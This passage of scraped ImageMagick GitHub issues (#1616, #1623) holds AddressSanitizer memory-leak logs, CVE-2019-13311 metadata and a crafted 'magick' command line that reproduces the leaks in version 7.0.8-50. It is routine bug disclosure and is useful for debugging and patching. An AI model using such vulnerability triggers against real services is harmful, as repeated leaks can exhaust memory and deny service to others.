0x7f9c4c16bf8d in ClonePixelCache MagickCore/cache.c:513:28 #5 0x7f9c4c3eb59f in CloneImage MagickCore/image.c:910:22 #6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 2 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c593033 in AddValueToSplayTree MagickCore/splay-tree.c:189:21 #3 0x7f9c4c593f3c in CloneSplayTree MagickCore/splay-tree.c:372:12 #4 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27 #5 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10 #6 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21 #7 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12 #8 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14 #9 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f9c4c3ea99f in CloneImage MagickCore/image.c:871:26 #4 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #5 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #6 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #7 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #8 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #9 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #10 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #11 0x526f95 in MagickMain utilities/magick.c:149:10 #12 0x5268e1 in main utilities/magick.c:180:10 #13 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f9c4c14a1ae in GetBlobInfo MagickCore/blob.c:1745:24 #4 0x7f9c4c149d6a in CloneBlobInfo MagickCore/blob.c:555:3 #5 0x7f9c4c3ea808 in CloneImage MagickCore/image.c:867:25 #6 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #7 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #8 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #9 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c4c57d781 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f9c4c57cfc3 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f9c4c594389 in NewSplayTree MagickCore/splay-tree.c:1159:25 #4 0x7f9c4c593d24 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10 #7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #14 0x526f95 in MagickMain utilities/magick.c:149:10 #15 0x5268e1 in main utilities/magick.c:180:10 #16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 62 byte(s) in 3 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f9c4c5cb9d3 in ConstantString MagickCore/string.c:713:26 #4 0x7f9c4c593f26 in CloneSplayTree MagickCore/splay-tree.c:373:7 #5 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10 #7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #14 0x526f95 in MagickMain utilities/magick.c:149:10 #15 0x5268e1 in main utilities/magick.c:180:10 #16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 35 byte(s) in 3 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f9c4c5cb9d3 in ConstantString MagickCore/string.c:713:26 #4 0x7f9c4c593ea1 in CloneSplayTree MagickCore/splay-tree.c:372:43 #5 0x7f9c4c4c8ee3 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7f9c4c3e9f59 in CloneImage MagickCore/image.c:839:10 #7 0x7f9c4c5e8885 in ExtentImage MagickCore/transform.c:1134:16 #8 0x7f9c4c1c5d00 in CompareImages MagickCore/compare.c:188:20 #9 0x7f9c4bbb06f1 in CLIListOperatorImages MagickWand/operation.c:3880:22 #10 0x7f9c4bbbc35e in CLIOption MagickWand/operation.c:5279:14 #11 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #12 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #13 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #14 0x526f95 in MagickMain utilities/magick.c:149:10 #15 0x5268e1 in main utilities/magick.c:180:10 #16 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 16 byte(s) in 2 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f9c4c5cb9d3 in ConstantString MagickCore/string.c:713:26 #4 0x7f9c4c593ea1 in CloneSplayTree MagickCore/splay-tree.c:372:43 #5 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27 #6 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10 #7 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21 #8 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12 #9 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 7 byte(s) in 2 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7f9c4c438106 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f9c4c43816f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f9c4c5cb9d3 in ConstantString MagickCore/string.c:713:26 #4 0x7f9c4c593f26 in CloneSplayTree MagickCore/splay-tree.c:373:7 #5 0x7f9c4c4698c0 in CloneImageOptions MagickCore/option.c:2144:27 #6 0x7f9c4c3f2018 in CloneImageInfo MagickCore/image.c:1010:10 #7 0x7f9c4c3e7678 in SyncImageSettings MagickCore/image.c:4242:21 #8 0x7f9c4c3fee66 in SyncImagesSettings MagickCore/image.c:4000:12 #9 0x7f9c4bbbc163 in CLIOption MagickWand/operation.c:5246:14 #10 0x7f9c4b9fda99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c4b9fed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c4ba48ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c464bfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: 6613792 byte(s) leaked in 32 allocation(s). ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-23 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

memory leaks is detected at AcquireMagickMemory

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1616/comments

2019-06-23T08:45:54Z

2019-07-08T01:55:00Z

https://github.com/ImageMagick/ImageMagick/issues/1616

CVE-2019-13311

2019-07-05T01:15:10.937

ImageMagick 7.0.8-50 Q16 has memory leaks at AcquireMagickMemory because of a wand/mogrify.c error.

https://github.com/ImageMagick/ImageMagick/issues/1623

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's memory leaks which are detected at AcquireMagickMemory. This maybe relates with [#1616](https://github.com/ImageMagick/ImageMagick/issues/1616). ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run following cmd: `magick -seed 0 -label "%r%W&%tZRD%r%A" -units PixelsPerCentimeter -caption "%s%m%w" "(" magick:logo +repage ")" "(" magick:granite -shade 13x85 ")" -compress RLE -combine -ift -complex magnitude-phase tmp` Here's Asan Log. ``` ==26664==ERROR: LeakSanitizer: detected memory leaks Direct leak of 13504 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121151bb54 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f1211520109 in CloneImage MagickCore/image.c:823:25 #4 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #5 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #6 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #7 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #8 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #9 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #10 0x526f95 in MagickMain utilities/magick.c:149:10 #11 0x5268e1 in main utilities/magick.c:180:10 #12 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 3686400 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f121156ea36 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7f12112b6ede in OpenPixelCache MagickCore/cache.c:3732:46 #3 0x7f12112bd1c1 in GetImagePixelCache MagickCore/cache.c:1756:18 #4 0x7f12112c35b9 in SyncImagePixelCache MagickCore/cache.c:5499:28 #5 0x7f12115222c1 in SetImageStorageClass MagickCore/image.c:2627:10 #6 0x7f12112ce980 in CombineImages MagickCore/channel.c:523:7 #7 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #8 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #9 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 22616 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121156ec7f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f121152153d in CloneImage MagickCore/image.c:879:43 #4 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #5 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #6 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #7 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #8 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #9 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #10 0x526f95 in MagickMain utilities/magick.c:149:10 #11 0x5268e1 in main utilities/magick.c:180:10 #12 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 13024 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121151bb54 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f121151e193 in AcquireImageInfo MagickCore/image.c:350:28 #4 0x7f1211526f53 in CloneImageInfo MagickCore/image.c:945:14 #5 0x7f121151e0b8 in SyncImageSettings MagickCore/image.c:4242:21 #6 0x7f12115358a6 in SyncImagesSettings MagickCore/image.c:4000:12 #7 0x7f1210d081a3 in CLIOption MagickWand/operation.c:5249:14 #8 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #9 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #10 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #11 0x526f95 in MagickMain utilities/magick.c:149:10 #12 0x5268e1 in main utilities/magick.c:180:10 #13 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 9152 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f121156ea36 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7f12112a11d4 in AcquirePixelCache MagickCore/cache.c:195:28 #3 0x7f12112a275d in ClonePixelCache MagickCore/cache.c:515:28 #4 0x7f12112bcf3b in GetImagePixelCache MagickCore/cache.c:1724:29 #5 0x7f12112c35b9 in SyncImagePixelCache MagickCore/cache.c:5499:28 #6 0x7f12115222c1 in SetImageStorageClass MagickCore/image.c:2627:10 #7 0x7f12112ce980 in CombineImages MagickCore/channel.c:523:7 #8 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #9 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 512 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121156ec7f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f12115afa4a in AcquirePixelChannelMap MagickCore/pixel.c:101:35 #4 0x7f12115afc24 in ClonePixelChannelMap MagickCore/pixel.c:139:13 #5 0x7f1211520d8f in CloneImage MagickCore/image.c:849:28 #6 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #7 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #8 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #9 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 288 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121127eb74 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f121128064d in CloneBlobInfo MagickCore/blob.c:554:27 #4 0x7f1211521248 in CloneImage MagickCore/image.c:867:25 #5 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #6 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #7 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #8 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #9 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #10 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #11 0x526f95 in MagickMain utilities/magick.c:149:10 #12 0x5268e1 in main utilities/magick.c:180:10 #13 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 192 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121156ec7f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f12112a1daf in AcquirePixelCacheNexus MagickCore/cache.c:271:29 #4 0x7f12112a175d in AcquirePixelCache MagickCore/cache.c:212:26 #5 0x7f12112a275d in ClonePixelCache MagickCore/cache.c:515:28 #6 0x7f12112bcf3b in GetImagePixelCache MagickCore/cache.c:1724:29 #7 0x7f12112c35b9 in SyncImagePixelCache MagickCore/cache.c:5499:28 #8 0x7f12115222c1 in SetImageStorageClass MagickCore/image.c:2627:10 #9 0x7f12112ce980 in CombineImages MagickCore/channel.c:523:7 #10 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #11 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #12 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #13 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #14 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #15 0x526f95 in MagickMain utilities/magick.c:149:10 #16 0x5268e1 in main utilities/magick.c:180:10 #17 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 128 byte(s) in 4 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f12116c9dd3 in AddValueToSplayTree MagickCore/splay-tree.c:189:21 #3 0x7f12116cacdc in CloneSplayTree MagickCore/splay-tree.c:372:12 #4 0x7f12115a03d0 in CloneImageOptions MagickCore/option.c:2144:27 #5 0x7f1211528a58 in CloneImageInfo MagickCore/image.c:1010:10 #6 0x7f121151e0b8 in SyncImageSettings MagickCore/image.c:4242:21 #7 0x7f12115358a6 in SyncImagesSettings MagickCore/image.c:4000:12 #8 0x7f1210d081a3 in CLIOption MagickWand/operation.c:5249:14 #9 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 128 byte(s) in 4 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f12116c9dd3 in AddValueToSplayTree MagickCore/splay-tree.c:189:21 #3 0x7f12116cacdc in CloneSplayTree MagickCore/splay-tree.c:372:12 #4 0x7f12115ff9f3 in CloneImageProperties MagickCore/property.c:196:25 #5 0x7f1211520999 in CloneImage MagickCore/image.c:839:10 #6 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #7 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #8 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #9 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 115 byte(s) in 4 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121156ec7f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f12117027c3 in ConstantString MagickCore/string.c:713:26 #4 0x7f12116cacc6 in CloneSplayTree MagickCore/splay-tree.c:373:7 #5 0x7f12115ff9f3 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7f1211520999 in CloneImage MagickCore/image.c:839:10 #7 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #8 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #9 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 88 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f12116cee24 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f12116caeb5 in NewSplayTree MagickCore/splay-tree.c:1148:32 #4 0x7f12116caac4 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f12115ff9f3 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7f1211520999 in CloneImage MagickCore/image.c:839:10 #7 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #8 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #9 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 88 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f12116cee24 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f12116caeb5 in NewSplayTree MagickCore/splay-tree.c:1148:32 #4 0x7f12116caac4 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f12115a03d0 in CloneImageOptions MagickCore/option.c:2144:27 #6 0x7f1211528a58 in CloneImageInfo MagickCore/image.c:1010:10 #7 0x7f121151e0b8 in SyncImageSettings MagickCore/image.c:4242:21 #8 0x7f12115358a6 in SyncImagesSettings MagickCore/image.c:4000:12 #9 0x7f1210d081a3 in CLIOption MagickWand/operation.c:5249:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 88 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f12116cee24 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7f12116caeb5 in NewSplayTree MagickCore/splay-tree.c:1148:32 #4 0x7f12116caac4 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f1211272c4a in CloneImageArtifacts MagickCore/artifact.c:118:24 #6 0x7f12115209ac in CloneImage MagickCore/image.c:840:10 #7 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #8 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #9 0x7f1210d0839e in CLIOption 